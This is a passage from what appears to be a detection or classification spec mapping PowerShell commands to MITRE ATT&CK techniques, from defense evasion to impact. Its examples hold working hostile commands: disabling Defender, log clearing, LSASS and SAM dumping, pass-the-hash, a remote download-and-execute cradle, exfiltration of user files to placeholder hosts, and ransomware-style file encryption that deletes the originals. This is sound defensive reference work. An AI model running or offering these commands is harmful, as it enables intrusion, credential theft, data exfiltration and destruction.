      "example": "Set-PSReadLineOption -HistorySaveStyle SaveNothing"
    }
  ]
},
{
  "technique_id": "T1564",
  "name": "Hidden Objects",
  "subtechniques": [
    {
      "technique_id": "T1564.001",
      "name": "Hidden Files",
      "conditions": [
        "Sets hidden attributes",
        "Creates hidden directories"
      ],
```

```
      "example": "$file = Get-Item \"file.txt\"; $file.Attributes = \"Hidden\""
    },
    {
      "technique_id": "T1564.010",
      "name": "Argument Spoofing",
      "conditions": [
        "Manipulates command arguments",
        "Uses parameter variations"
      ],
      "example": "powershell.exe -windowstyle hidden -nop -c \"command\""
    }
  ]
},
{
  "technique_id": "T1070",
  "name": "Indicator Removal",
  "subtechniques": [
    {
      "technique_id": "T1070.001",
      "name": "Clear Event Logs",
      "conditions": [
        "Clears Windows logs",
        "Removes log entries"
      ],
      "example": "Clear-EventLog -LogName Security"
    },
    {
      "technique_id": "T1070.003",
      "name": "Clear Command History",
      "conditions": [
        "Removes PowerShell history",
        "Clears command cache"
      ],
      "example": "Remove-Item (Get-PSReadLineOption).HistorySavePath"
    },
    {
      "technique_id": "T1070.004",
      "name": "File Deletion",
      "conditions": [
        "Removes files securely",
```

```
            "Deletes indicators"
          ],
          "example": "Remove-Item -Path \"evidence.txt\" -Force"
        },
        {
          "technique_id": "T1070.006",
          "name": "Timestomp",
          "conditions": [
            "Modifies timestamps",
            "Changes file attributes"
          ],
          "example": "Set-ItemProperty -Path \"file.txt\" -Name LastWriteTime -Value
\"01/01/2020 12:00:00\""
        }
      ]
    }
  ],
  "example_classifications": {
    "command_obfuscation": {
      "technique_id": "T1027",
      "examples": [
        {
          "command": "$cmd = \"Get-Process\" -split '' -join \"`\" + \"`\"",
          "description": "String splitting and joining"
        },
        {
          "command": "$enc =
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes(\"whoami\"))",
          "description": "Base64 encoding"
        },
        {
          "command": "$var1=\"Inv\"+\"oke\"+\"-Expr\"+\"ession\"",
          "description": "String concatenation"
        }
      ]
    },
    "security_tool_manipulation": {
      "technique_id": "T1562.001",
      "examples": [
        {
```

```
        "command": "Set-MpPreference -DisableRealtimeMonitoring $true",
        "description": "Disable realtime monitoring"
      },
      {
        "command": "Stop-Service \"WinDefend\"",
        "description": "Stop defender service"
      },
      {
        "command": "Set-Service \"SecurityHealthService\" -StartupType Disabled",
        "description": "Disable security service"
      }
    ]
  }
},
"red_flags": {
  "command_characteristics": [
    "Base64 encoded strings",
    "Split/joined commands",
    "Unusual concatenation",
    "Hidden window styles",
    "Service modifications"
  ],
  "behavioral_indicators": [
    "Security tool manipulation",
    "Log clearing",
    "History deletion",
    "Timestamp modifications",
    "AMSI tampering",
    "Hidden file creation"
  ]
},
"common_evasion_techniques": {
  "command_obfuscation": [
    "String splitting",
    "Variable concatenation",
    "Character codes",
    "Encoding",
    "Command aliases"
  ],
  "security_tool_evasion": [
```

```
      "Service stopping",
      "Registry modifications",
      "Process killing",
      "Log clearing",
      "History deletion"
    ],
    "file_operations": [
      "Attribute modifications",
      "Secure deletion",
      "Timestamp changes",
      "Hidden files/directories",
      "Alternative data streams"
    ]
  }
}
```

8. Credential Access

```
{
  "technique": "Credential Access",
  "mitre_ids": ["T1552", "T1555", "T1557", "T1134", "T1003"],
  "input_characteristics": {
    "credential_access_commands": {
      "operations": [
        "Password/hash extraction",
        "Memory operations",
        "Registry queries",
        "Token manipulation",
        "File system searches"
      ]
    },
    "common_commands": [
      "Get-Credential",
      "cmdkey",
      "mimikatz.exe",
      "Get-Process lsass",
      "reg query",
      "Get-ItemProperty",
```

```
      "Select-String",
      "Get-ChildItem"
    ]
  },
  "classification_rules": [
    {
      "technique_id": "T1552",
      "name": "Credential Access",
      "conditions": [
        "Searches for credentials",
        "Accesses stored credentials",
        "Extracts passwords/hashes"
      ],
      "example": "Get-ChildItem -Path \"C:\\\" -Recurse -Include *.config | Select-String
-Pattern \"password\""
    },
    {
      "technique_id": "T1555",
      "name": "Password Store Access",
      "conditions": [
        "Accesses credential managers",
        "Extracts stored passwords",
        "Queries password vaults"
      ],
      "example": "cmdkey /list"
    },
    {
      "technique_id": "T1557",
      "name": "Man-in-the-Middle",
      "conditions": [
        "Intercepts network traffic",
        "Manipulates DNS/proxy",
        "Captures credentials"
      ],
      "example": "Invoke-Eavesdropper -Interface \"Ethernet\""
    },
    {
      "technique_id": "T1134",
      "name": "Token Manipulation",
      "conditions": [
```

```
    "Manipulates access tokens",
    "Impersonates users",
    "Modifies privileges"
  ],
  "example": "Invoke-TokenManipulation -ImpersonateUser -Username \"admin\""
},
{
  "technique_id": "T1003",
  "name": "OS Credential Dumping",
  "subtechniques": [
    {
      "technique_id": "T1003.001",
      "name": "LSASS Memory",
      "conditions": [
        "Dumps LSASS process",
        "Extracts credentials from memory"
      ],
      "example": "Get-Process lsass | Out-MinidumpFile"
    },
    {
      "technique_id": "T1003.002",
      "name": "Security Account Manager",
      "conditions": [
        "Extracts SAM database",
        "Accesses stored hashes"
      ],
      "example": "reg save HKLM\\SAM sam.save"
    },
    {
      "technique_id": "T1003.004",
      "name": "LSA Secrets",
      "conditions": [
        "Extracts LSA secrets",
        "Accesses system credentials"
      ],
      "example": "reg save HKLM\\SECURITY security.save"
    },
    {
      "technique_id": "T1003.005",
      "name": "Cached Domain Credentials",
```

```
        "conditions": [
          "Extracts cached credentials",
          "Accesses domain caches"
        ],
        "example": "Get-ChildItem \"HKLM:\\SECURITY\\Cache\""
      }
    ]
  }
 ],
 "example_classifications": {
  "credential_access": {
   "technique_id": "T1552",
   "examples": [
    {
     "command": "Get-ChildItem -Path \"C:\\\" -Recurse -Include *.xml,*.txt,*.config |
Select-String -Pattern \"password\"",
     "description": "Search files for passwords"
    },
    {
     "command": "Get-Credential -Credential domain\\user",
     "description": "Request credentials"
    },
    {
     "command": "$cred = Get-StoredCredential -Target \"server\"",
     "description": "Access stored credentials"
    }
   ]
  },
  "password_store_access": {
   "technique_id": "T1555",
   "examples": [
    {
     "command": "cmdkey /list",
     "description": "List stored credentials"
    },
    {
     "command": "Get-VaultCredential",
     "description": "Access credential vault"
    }
   ]
```

```
    },
    "lsass_memory_access": {
      "technique_id": "T1003.001",
      "examples": [
        {
          "command": "Get-Process lsass",
          "description": "Locate LSASS process"
        },
        {
          "command": "$process = Get-Process lsass; $dumpFile =
\"$env:TEMP\\lsass.dmp\"",
          "description": "Prepare for memory dump"
        }
      ]
    }
  },
  "red_flags": {
    "command_characteristics": [
      "Memory dumping operations",
      "Registry extraction",
      "Password searching",
      "Token manipulation",
      "Network interception"
    ],
    "suspicious_patterns": [
      "Access to sensitive processes",
      "System file exports",
      "Credential enumeration",
      "Mass file searches",
      "Registry queries for secrets"
    ]
  },
  "common_target_locations": {
    "file_system": [
      "Configuration files",
      "User directories",
      "Application settings",
      "Log files",
      "Backup files"
    ],
```

```
    "registry": [
      "HKLM\\SAM",
      "HKLM\\SECURITY",
      "HKCU\\Credentials",
      "Internet Settings",
      "Stored Passwords"
    ],
    "memory": [
      "LSASS process",
      "Service processes",
      "Authentication processes",
      "Credential providers",
      "Security processes"
    ]
  }
}
```


9. Discovery


```
{
  "technique": "Discovery",
  "mitre_ids": ["T1087", "T1482", "T1083", "T1615", "T1012", "T1016", "T1049", "T1057",
"T1069", "T1082"],
  "input_characteristics": {
    "information_gathering_commands": {
      "operations": [
        "Query operations",
        "Enumeration commands",
        "System inspection",
        "Network discovery",
        "Configuration checks"
      ]
    },
    "common_commands": [
      "Get-ADUser",
      "Get-ChildItem",
      "Get-GPO",
      "Get-ItemProperty",
```

```
    "Get-Process",
    "Get-NetAdapter",
    "Get-LocalGroup",
    "Get-ComputerInfo",
    "netstat",
    "ipconfig"
  ]
},
"classification_rules": [
  {
    "technique_id": "T1087",
    "name": "Account Discovery",
    "conditions": [
      "Enumerates user accounts",
      "Lists account details",
      "Queries user information"
    ],
    "examples": [
      "Get-ADUser -Filter *",
      "Get-LocalUser"
    ]
  },
  {
    "technique_id": "T1482",
    "name": "Domain Trust Discovery",
    "conditions": [
      "Lists domain trusts",
      "Enumerates forest info",
      "Queries trust relationships"
    ],
    "example": "Get-ADTrust -Filter *"
  },
  {
    "technique_id": "T1083",
    "name": "File/Directory Discovery",
    "conditions": [
      "Searches file systems",
      "Lists directories",
      "Enumerates shares"
    ],
```

```
  "example": "Get-ChildItem -Path C:\\ -Recurse"
},
{
  "technique_id": "T1615",
  "name": "Group Policy Discovery",
  "conditions": [
    "Lists group policies",
    "Queries GPO settings",
    "Examines policy links"
  ],
  "example": "Get-GPO -All"
},
{
  "technique_id": "T1012",
  "name": "Registry Query",
  "conditions": [
    "Reads registry keys",
    "Examines registry values",
    "Searches registry"
  ],
  "example": "Get-ItemProperty -Path \"HKLM:\\SOFTWARE\""
},
{
  "technique_id": "T1016",
  "name": "Network Configuration",
  "conditions": [
    "Examines network settings",
    "Lists adapters",
    "Queries IP configuration"
  ],
  "example": "Get-NetIPConfiguration"
},
{
  "technique_id": "T1049",
  "name": "Network Connections",
  "conditions": [
    "Lists connections",
    "Shows network statistics",
    "Examines ports"
  ],
```

```
  "example": "Get-NetTCPConnection"
},
{
  "technique_id": "T1057",
  "name": "Process Discovery",
  "conditions": [
    "Lists running processes",
    "Examines process details",
    "Queries services"
  ],
  "example": "Get-Process"
},
{
  "technique_id": "T1069",
  "name": "Permission Groups",
  "subtechniques": [
    {
      "technique_id": "T1069.001",
      "name": "Local Groups",
      "conditions": [
        "Lists local groups",
        "Shows group membership"
      ],
      "example": "Get-LocalGroup"
    },
    {
      "technique_id": "T1069.002",
      "name": "Domain Groups",
      "conditions": [
        "Lists domain groups",
        "Shows group membership"
      ],
      "example": "Get-ADGroup -Filter *"
    }
  ]
},
{
  "technique_id": "T1082",
  "name": "System Information",
  "conditions": [
```

```
      "Gathers system details",
      "Shows hardware info",
      "Lists installed software"
    ],
    "example": "Get-ComputerInfo"
  }
],
"example_classifications": {
  "account_discovery": {
    "technique_id": "T1087",
    "examples": [
      {
        "command": "Get-ADUser -Filter * -Properties *",
        "description": "Enumerate AD users"
      },
      {
        "command": "Get-LocalUser",
        "description": "List local users"
      },
      {
        "command": "Get-WmiObject -Class Win32_UserAccount",
        "description": "Query user accounts via WMI"
      }
    ]
  },
  "network_configuration": {
    "technique_id": "T1016",
    "examples": [
      {
        "command": "Get-NetIPConfiguration",
        "description": "Get network configuration"
      },
      {
        "command": "Get-NetAdapter",
        "description": "List network adapters"
      },
      {
        "command": "ipconfig /all",
        "description": "Display detailed network information"
      }
```

```
    ]
  },
  "system_information": {
    "technique_id": "T1082",
    "examples": [
      {
        "command": "Get-ComputerInfo",
        "description": "Get detailed system information"
      },
      {
        "command": "systeminfo",
        "description": "Display system information"
      },
      {
        "command": "Get-WmiObject -Class Win32_OperatingSystem",
        "description": "Query OS information via WMI"
      }
    ]
  }
},
"red_flags": {
  "command_characteristics": [
    "Mass enumeration",
    "System-wide queries",
    "Privilege checks",
    "Configuration dumps",
    "Network scanning"
  ],
  "suspicious_patterns": [
    "Multiple discovery methods",
    "Broad system queries",
    "Sensitive information gathering",
    "Domain enumeration",
    "Permission mapping"
  ]
},
"common_discovery_targets": {
  "system_information": [
    "User accounts",
    "Group memberships",
```

```
      "System configuration",
      "Installed software",
      "Hardware details"
    ],
    "network_information": [
      "IP configurations",
      "Network connections",
      "Domain trusts",
      "Shared resources",
      "Network routes"
    ],
    "configuration_data": [
      "Registry settings",
      "Group policies",
      "System services",
      "Running processes",
      "File systems"
    ]
  }
}
```

10. Lateral Movement

```
{
  "technique": "Lateral Movement",
  "mitre_ids": ["T1570", "T1021", "T1550"],
  "input_characteristics": {
    "file_transfer_commands": {
      "operations": [
        "File copy operations",
        "Network share access",
        "Remote file transfers",
        "Tool deployment"
      ]
    },
    "remote_access_commands": {
      "operations": [
        "Session establishment",
```

```
      "Remote connections",
      "Service interactions",
      "Authentication operations"
    ]
  },
  "common_commands": [
    "Copy-Item",
    "Enter-PSSession",
    "New-PSSession",
    "Invoke-Command",
    "New-CimSession",
    "mstsc",
    "Set-RDPConnection"
  ]
},
"classification_rules": [
  {
    "technique_id": "T1570",
    "name": "Lateral Tool Transfer",
    "conditions": [
      "Copies files between systems",
      "Transfers tools remotely",
      "Uses network shares"
    ],
    "example": "Copy-Item \"tool.exe\" -Destination \"\\\\computer\\share\""
  },
  {
    "technique_id": "T1021",
    "name": "Remote Services",
    "subtechniques": [
      {
        "technique_id": "T1021.001",
        "name": "RDP",
        "conditions": [
          "Establishes RDP connections",
          "Configures remote desktop"
        ],
        "example": "mstsc /v:computer"
      },
      {
```

```
        "technique_id": "T1021.002",
        "name": "SMB/Admin Shares",
        "conditions": [
          "Accesses admin shares",
          "Uses SMB connections"
        ],
        "example": "New-PSDrive -Name \"S\" -PSProvider \"FileSystem\" -Root
\"\\\\computer\\C$\""
      },
      {
        "technique_id": "T1021.003",
        "name": "DCOM",
        "conditions": [
          "Uses DCOM objects",
          "Remote COM execution"
        ],
        "example":
"[activator]::CreateInstance([type]::GetTypeFromProgID(\"MMC20.Application\",\"compu
ter\"))"
      },
      {
        "technique_id": "T1021.006",
        "name": "WinRM",
        "conditions": [
          "Uses PowerShell remoting",
          "Establishes WinRM sessions"
        ],
        "example": "Enter-PSSession -ComputerName \"server\""
      },
      {
        "technique_id": "T1021.007",
        "name": "Cloud Services",
        "conditions": [
          "Connects to cloud resources",
          "Uses cloud modules"
        ],
        "example": "Connect-AzAccount"
      }
    ]
  },
```

```
    {
      "technique_id": "T1550",
      "name": "Authentication Material",
      "subtechniques": [
        {
          "technique_id": "T1550.002",
          "name": "Pass the Hash",
          "conditions": [
            "Uses NTLM hashes",
            "Hash-based authentication"
          ],
          "example": "Invoke-MimikatzCommand -Command \"sekurlsa::pth /user:admin
/domain:domain /ntlm:hash\""
        },
        {
          "technique_id": "T1550.003",
          "name": "Pass the Ticket",
          "conditions": [
            "Uses Kerberos tickets",
            "Ticket manipulation"
          ],
          "example": "Invoke-Mimikatz -Command \"kerberos::ptt ticket.kirbi\""
        }
      ]
    }
  ],
  "example_classifications": {
    "lateral_tool_transfer": {
      "technique_id": "T1570",
      "examples": [
        {
          "command": "Copy-Item \"C:\\tools\\binary.exe\" -Destination
\"\\\\server\\share\\\"",
          "description": "Copy tool to remote share"
        },
        {
          "command": "New-PSDrive -Name \"X\" -PSProvider FileSystem -Root
\"\\\\server\\share\"",
          "description": "Map network drive"
        },
```

```
      {
        "command": "robocopy \"C:\\tools\" \"\\\\server\\tools\" /E",
        "description": "Recursive copy to remote location"
      }
    ]
  },
  "winrm_remote_access": {
    "technique_id": "T1021.006",
    "examples": [
      {
        "command": "Enter-PSSession -ComputerName \"server\" -Credential
$credential",
        "description": "Establish interactive session"
      },
      {
        "command": "Invoke-Command -ComputerName \"server\" -ScriptBlock
{Get-Process}",
        "description": "Execute remote command"
      },
      {
        "command": "New-PSSession -ComputerName \"server\" -Authentication
Kerberos",
        "description": "Create persistent session"
      }
    ]
  }
 },
 "red_flags": {
  "command_characteristics": [
    "Remote connections",
    "File transfers",
    "Credential usage",
    "Session establishment",
    "Authentication manipulation"
  ],
  "suspicious_patterns": [
    "Admin share access",
    "Multiple remote sessions",
    "Hash/ticket usage",
    "Tool deployment",
```

```
      "Remote execution"
    ]
  },
  "common_parameters": {
    "remote_access": [
      "ComputerName",
      "Credential",
      "Authentication",
      "SessionOption",
      "Port"
    ],
    "file_operations": [
      "Source/Destination paths",
      "Network shares",
      "Copy options",
      "Recursion flags",
      "Force parameters"
    ],
    "authentication": [
      "Credentials",
      "Tokens",
      "Hashes",
      "Tickets",
      "Certificates"
    ]
  }
}
```

11. Collection

```
{
  "technique": "Collection",
  "mitre_ids": ["T1074", "T1114", "T1005", "T1039", "T1119"],
  "input_characteristics": {
    "data_collection_commands": {
      "operations": [
        "File gathering operations",
        "Email access commands",
```

```
        "File search patterns",
        "Data aggregation",
        "Archive creation"
      ]
    },
    "common_commands": [
      "Get-ChildItem",
      "Get-Mailbox",
      "Search-Mailbox",
      "Compress-Archive",
      "Get-Content",
      "Select-String",
      "Copy-Item"
    ]
  },
  "classification_rules": [
    {
      "technique_id": "T1074",
      "name": "Data Staging",
      "subtechniques": [
        {
          "technique_id": "T1074.001",
          "name": "Local Staging",
          "conditions": [
            "Aggregates data locally",
            "Creates collection points"
          ],
          "example": "New-Item -ItemType Directory -Path \"C:\\staging\""
        },
        {
          "technique_id": "T1074.002",
          "name": "Remote Staging",
          "conditions": [
            "Transfers to remote locations",
            "Uses network shares"
          ],
          "example": "Copy-Item \"C:\\collected\\*\" -Destination
\"\\\\server\\share\\staging\""
        }
      ]
```

```
},
{
  "technique_id": "T1114",
  "name": "Email Collection",
  "conditions": [
    "Accesses mailboxes",
    "Extracts emails",
    "Searches messages"
  ],
  "example": "Get-Mailbox | Search-Mailbox -SearchQuery \"confidential\""
},
{
  "technique_id": "T1005",
  "name": "Local System Collection",
  "conditions": [
    "Gathers local files",
    "Searches system data",
    "Collects user files"
  ],
  "example": "Get-ChildItem -Path C:\\Users -Recurse -Include .doc,.pdf"
},
{
  "technique_id": "T1039",
  "name": "Network Share Collection",
  "conditions": [
    "Accesses shared drives",
    "Collects network data",
    "Searches remote systems"
  ],
  "example": "Get-ChildItem -Path \"\\\\server\\share\" -Recurse"
},
{
  "technique_id": "T1119",
  "name": "Automated Collection",
  "conditions": [
    "Uses automation scripts",
    "Performs mass collection",
    "Scheduled gathering"
  ],
```

```
    "example": "Get-WmiObject -Class Win32_LogicalDisk | ForEach-Object {
Get-ChildItem -Path $_.DeviceID -Recurse }"
   }
  ],
  "example_classifications": {
   "local_staging": {
    "technique_id": "T1074.001",
    "examples": [
     {
      "command": "New-Item -ItemType Directory -Path \"C:\\staging\"",
      "description": "Create staging directory"
     },
     {
      "command": "Copy-Item \"C:\\Users\\*\\Documents\\*.pdf\" -Destination
\"C:\\staging\"",
      "description": "Collect PDF files"
     },
     {
      "command": "Compress-Archive -Path \"C:\\staging\\*\" -DestinationPath
\"C:\\collected.zip\"",
      "description": "Archive collected data"
     }
    ]
   },
   "email_collection": {
    "technique_id": "T1114",
    "examples": [
     {
      "command": "Get-Mailbox -Identity \"user@domain.com\" | Search-Mailbox
-SearchQuery \"confidential\"",
      "description": "Search mailbox for sensitive content"
     },
     {
      "command": "Export-Mailbox -Identity \"user\" -PSTFolderPath \"C:\\export\"",
      "description": "Export mailbox to PST"
     }
    ]
   },
   "automated_collection": {
    "technique_id": "T1119",
```

```
      "examples": [
        {
          "command": "Get-Process | Where-Object {$_.WorkingSet -gt 20MB} | Export-Csv
\"C:\\process_data.csv\"",
          "description": "Collect process information"
        },
        {
          "command": "Get-Service | Where-Object {$_.Status -eq \"Running\"} | Out-File
\"C:\\service_data.txt\"",
          "description": "Collect service information"
        }
      ]
    }
  },
  "red_flags": {
    "command_characteristics": [
      "Mass file operations",
      "Pattern matching",
      "Archive creation",
      "Remote copying",
      "Recursive searches"
    ],
    "suspicious_patterns": [
      "Sensitive file types",
      "Multiple collection methods",
      "Large data transfers",
      "Unusual destinations",
      "Automated gathering"
    ]
  },
  "common_collection_targets": {
    "file_types": [
      "Documents (.doc, .pdf)",
      "Spreadsheets (.xls)",
      "Emails (.pst)",
      "Configuration files",
      "Database files"
    ],
    "locations": [
      "User directories",
```

```
      "Network shares",
      "Application data",
      "System files",
      "Email stores"
    ],
    "search_patterns": [
      "File extensions",
      "Keywords",
      "Date ranges",
      "Size criteria",
      "Content patterns"
    ]
  }
}
```

12. Command and Control

```
{
  "technique": "Command and Control",
  "mitre_ids": ["T1071", "T1105", "T1573", "T1090", "T1572", "T1021.006"],
  "input_characteristics": {
    "network_communication_commands": {
      "operations": [
        "Protocol manipulation",
        "Proxy configurations",
        "Download operations",
        "Connection tunneling",
        "Remote management"
      ]
    },
    "common_commands": [
      "Invoke-WebRequest",
      "Invoke-RestMethod",
      "Set-WebProxy",
      "New-NetFirewallRule",
      "New-PSSession",
      "Enter-PSSession",
      "netsh"
```

```
    ]
  },
  "classification_rules": [
    {
      "technique_id": "T1071",
      "name": "Protocol Abuse",
      "conditions": [
        "Misuses common protocols",
        "Creates custom protocols",
        "Manipulates web requests"
      ],
      "example": "Invoke-WebRequest -Uri \"http://server/api\" -Headers
@{\"X-Malware\"=\"beacon\"}"
    },
    {
      "technique_id": "T1105",
      "name": "Remote Payload Operations",
      "conditions": [
        "Downloads files/scripts",
        "Retrieves payloads",
        "Executes downloaded content"
      ],
      "example": "IEX (New-Object
Net.WebClient).DownloadString('http://server/payload.ps1')"
    },
    {
      "technique_id": "T1573",
      "name": "Encrypted Channel",
      "conditions": [
        "Uses encryption",
        "Creates secure tunnels",
        "Implements custom protocols"
      ],
      "example": "$encrypted = Invoke-AESEncryption -Mode Encrypt -Key $key -Text
$command"
    },
    {
      "technique_id": "T1090",
      "name": "Proxy",
      "subtechniques": [
```

```
        {
          "technique_id": "T1090.001",
          "name": "Internal Proxy",
          "conditions": [
            "Configures internal proxies",
            "Routes internal traffic"
          ],
          "example": "Set-ItemProperty -Path
'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' -Name
ProxyServer"
        },
        {
          "technique_id": "T1090.002",
          "name": "External Proxy",
          "conditions": [
            "Sets external proxies",
            "Routes internet traffic"
          ],
          "example": "$proxy = New-Object System.Net.WebProxy(\"http://proxy:8080\")"
        },
        {
          "technique_id": "T1090.003",
          "name": "Multi-hop Proxy",
          "conditions": [
            "Chains multiple proxies",
            "Creates proxy networks"
          ],
          "example": "$request.Proxy = $proxy1; $request.Proxy.Credentials = $proxy2"
        }
      ]
    },
    {
      "technique_id": "T1572",
      "name": "Protocol Tunneling",
      "conditions": [
        "Creates network tunnels",
        "Encapsulates protocols",
        "Bypasses restrictions"
      ],
      "example": "New-NetFirewallRule -Protocol TCP -LocalPort 8080 -Action Allow"
```

```
    },
    {
      "technique_id": "T1021.006",
      "name": "WinRM",
      "conditions": [
        "Uses PowerShell remoting",
        "Configures WinRM",
        "Creates remote sessions"
      ],
      "example": "Enable-PSRemoting -Force"
    }
  ],
  "example_classifications": {
    "protocol_abuse": {
      "technique_id": "T1071",
      "examples": [
        {
          "command": "$headers = @{ \"X-Command\" = \"execute\"; \"X-Payload\" =
$encodedCommand }",
          "description": "Custom header manipulation"
        },
        {
          "command": "Invoke-RestMethod -Uri \"https://legitimate-looking.com/api\"
-Headers $headers",
          "description": "Malicious web request"
        }
      ]
    },
    "encrypted_channel": {
      "technique_id": "T1573",
      "examples": [
        {
          "command": "$key =
[Convert]::ToBase64String([Security.Cryptography.AES]::Create().Key)",
          "description": "Create encryption key"
        },
        {
          "command": "$encryptedComm = Invoke-AESEncryption -Mode Encrypt -Key
$key -Text $command",
          "description": "Encrypt communication"
```

```
      }
     ]
    },
    "winrm_usage": {
     "technique_id": "T1021.006",
     "examples": [
      {
       "command": "Enable-PSRemoting -Force",
       "description": "Enable PowerShell remoting"
      },
      {
       "command": "Set-Item WSMan:\\localhost\\Client\\TrustedHosts -Value \"*\"",
       "description": "Configure trusted hosts"
      },
      {
       "command": "Enter-PSSession -ComputerName \"remote-server\" -Credential
$cred",
       "description": "Create remote session"
      }
     ]
    }
   },
   "red_flags": {
    "command_characteristics": [
     "Custom headers/protocols",
     "Encrypted communications",
     "Proxy configurations",
     "Tunneling attempts",
     "Remote downloads"
    ],
    "suspicious_patterns": [
     "Non-standard ports",
     "Encoded content",
     "Multiple proxies",
     "Unusual protocols",
     "Hidden traffic"
    ]
   },
   "common_c2_indicators": {
    "network_operations": [
```

```
      "Custom protocols",
      "Proxy chains",
      "Encrypted channels",
      "Port forwarding",
      "Protocol tunneling"
    ],
    "communication_methods": [
      "Web requests",
      "Remote sessions",
      "Custom protocols",
      "Encrypted channels",
      "Proxy configurations"
    ],
    "payload_operations": [
      "Remote downloads",
      "Script execution",
      "File transfers",
      "Encoded content",
      "Encrypted communications"
    ]
  }
}
```


13. Exfiltration


```
{
  "technique_id": "T1020",
  "technique_name": "Automated Exfiltration",
  "input_characteristics": {
    "data_transfer_commands": [
      "File uploads",
      "Archive creation",
      "Network transfers",
      "Automated transfers",
      "Data encoding"
    ],
    "common_cmdlets": [
      "Invoke-WebRequest",
```

```
      "Invoke-RestMethod",
      "Start-BitsTransfer",
      "Compress-Archive",
      "Send-MailMessage",
      "Out-File",
      "Convert-ToBase64"
    ]
  },
  "classification_rules": {
    "criteria": [
      "Automates data transfers",
      "Schedules uploads",
      "Uses scripts for transfer",
      "Uses cloud services",
      "Implements timing"
    ],
    "example_commands": {
      "web_based": "Invoke-RestMethod -Uri \"https://server/upload\" -Method Post -Body
$data",
      "email_based": "Send-MailMessage -To \"drop@domain.com\" -Subject \"Data\"
-Attachment \"C:\\data.zip\"",
      "ftp_cloud": "Start-BitsTransfer -Source \"C:\\collected\\*\" -Destination
\"ftp://server/drop/\""
    }
  },
  "example_classifications": {
    "automated_collection": {
      "description": "Automated File Collection and Upload",
      "code": "Get-ChildItem -Path C:\\Users -Recurse -Include *.doc,*.pdf |
ForEach-Object { $content = Get-Content $_.FullName; $encoded =
[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($content));
Invoke-RestMethod -Uri \"https://server/upload\" -Method Post -Body $encoded }"
    },
    "scheduled_exfiltration": {
      "description": "Scheduled Exfiltration",
      "code": "$trigger = New-JobTrigger -Daily -At \"3AM\"; Register-ScheduledJob
-Name \"DataUpload\" -Trigger $trigger -ScriptBlock { Compress-Archive -Path
\"C:\\collected\\*\" -DestinationPath \"C:\\upload.zip\"; Start-BitsTransfer -Source
\"C:\\upload.zip\" -Destination \"https://dropsite/upload\" }"
    },
```

```
    "chunked_transfer": {
      "description": "Chunked Data Transfer",
      "code": "$data = Get-Content \"large_file.txt\"; $chunks =
[System.Collections.ArrayList]::new(); $chunkSize = 1024; for ($i = 0; $i -lt
$data.Length; $i += $chunkSize) { $chunk = $data.Substring($i,
[Math]::Min($chunkSize, $data.Length - $i)); $chunks.Add($chunk) }; foreach ($chunk in
$chunks) { Invoke-RestMethod -Uri \"https://server/upload\" -Method Post -Body
$chunk; Start-Sleep -Seconds 5 }"
    },
    "cloud_service": {
      "description": "Cloud Service Exfiltration",
      "code": "Import-Module AWSPowerShell; Write-S3Object -BucketName
\"data-bucket\" -File \"C:\\collected\\data.zip\""
    },
    "dns_tunneling": {
      "description": "DNS Tunneling Simulation",
      "code": "$data = Get-Content \"secret.txt\"; $encoded =
[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data)); $chunks =
$encoded -split '(.{30})'; foreach($chunk in $chunks) { if($chunk) { Resolve-DnsName
-Name \"$chunk.exfil.domain.com\"; Start-Sleep -Milliseconds (Get-Random -Minimum
100 -Maximum 300) } }"
    }
  },
  "red_flags": {
    "command_characteristics": [
      "Large data transfers",
      "Data encoding",
      "Scheduled uploads",
      "Chunked transfers",
      "Network protocols abuse"
    ],
    "suspicious_patterns": [
      "Unusual destinations",
      "Data compression",
      "Timed transfers",
      "Split uploads",
      "Encoded content"
    ]
  },
  "common_methods": {
```

```
    "transfer_protocols": [
      "HTTP/HTTPS",
      "FTP",
      "DNS",
      "SMTP",
      "Cloud APIs"
    ],
    "data_preparation": [
      "Compression",
      "Encryption",
      "Encoding",
      "Chunking",
      "Staging"
    ],
    "automation_features": [
      "Scheduling",
      "Timing controls",
      "Error handling",
      "Retry logic",
      "Progress tracking"
    ]
  }
}
```


14. Impact


```
{
  "impact_techniques": {
    "input_characteristics": {
      "data_modification_commands": [
        "Encryption operations",
        "File manipulation",
        "Content alteration",
        "Mass file operations",
        "System changes"
      ],
      "common_cmdlets": [
        "Get-ChildItem",
```

```
        "Set-Content",
        "Remove-Item",
        "Rename-Item",
        "Get-Content",
        "Protect-CmsMessage",
        "ConvertTo-SecureString"
      ]
    },
    "classification_rules": [
      {
        "technique_id": "T1486",
        "name": "Data Encryption for Impact",
        "criteria": [
          "Encrypts files/systems",
          "Implements ransomware-like behavior",
          "Uses cryptographic functions"
        ],
        "example": "Get-ChildItem -Recurse | ForEach-Object { Protect-CmsMessage
-Content (Get-Content $_.FullName) -To cert }"
      },
      {
        "technique_id": "T1565",
        "name": "Data Manipulation",
        "criteria": [
          "Modifies file contents",
          "Alters system data",
          "Changes configurations"
        ],
        "example": "Get-ChildItem -Recurse | ForEach-Object { Set-Content $_.FullName
-Value (Get-Random) }"
      }
    ],
    "example_classifications": {
      "T1486": {
        "file_encryption": {
          "description": "File encryption",
          "code": "$files = Get-ChildItem -Path C:\\ -Recurse -Include *.doc,*.pdf,*.txt;
foreach($file in $files) { $content = Get-Content $file.FullName; $encrypted =
Protect-CmsMessage -Content $content -To \"CN=EncryptCert\"; Set-Content -Path
\"$($file.FullName).encrypted\" -Value $encrypted; Remove-Item $file.FullName }"
```

```
      },
      "system_wide_encryption": {
        "description": "System-wide encryption",
        "code": "$key = New-Object Byte[] 32;
[Security.Cryptography.RNGCryptoServiceProvider]::Create().GetBytes($key);
Get-ChildItem -Path C:\\Users -Recurse | ForEach-Object { if(-not $_.PSIsContainer) {
$bytes = [System.IO.File]::ReadAllBytes($_.FullName); $encryptedBytes =
Encrypt-Bytes $bytes $key;
[System.IO.File]::WriteAllBytes(\"$($_.FullName).encrypted\", $encryptedBytes) } }"
      }
    },
    "T1565": {
      "file_content_manipulation": {
        "description": "File content manipulation",
        "code": "Get-ChildItem -Path \"C:\\Important\" -Recurse | ForEach-Object {
$content = Get-Content $_.FullName; $modified = $content -replace \"correct\",
\"incorrect\"; Set-Content $_.FullName -Value $modified }"
      },
      "database_manipulation": {
        "description": "Database manipulation",
        "code": "$sqlCommand = \"UPDATE Customers SET CreditLimit = 0\";
Invoke-Sqlcmd -Query $sqlCommand -ServerInstance \"DbServer\""
      },
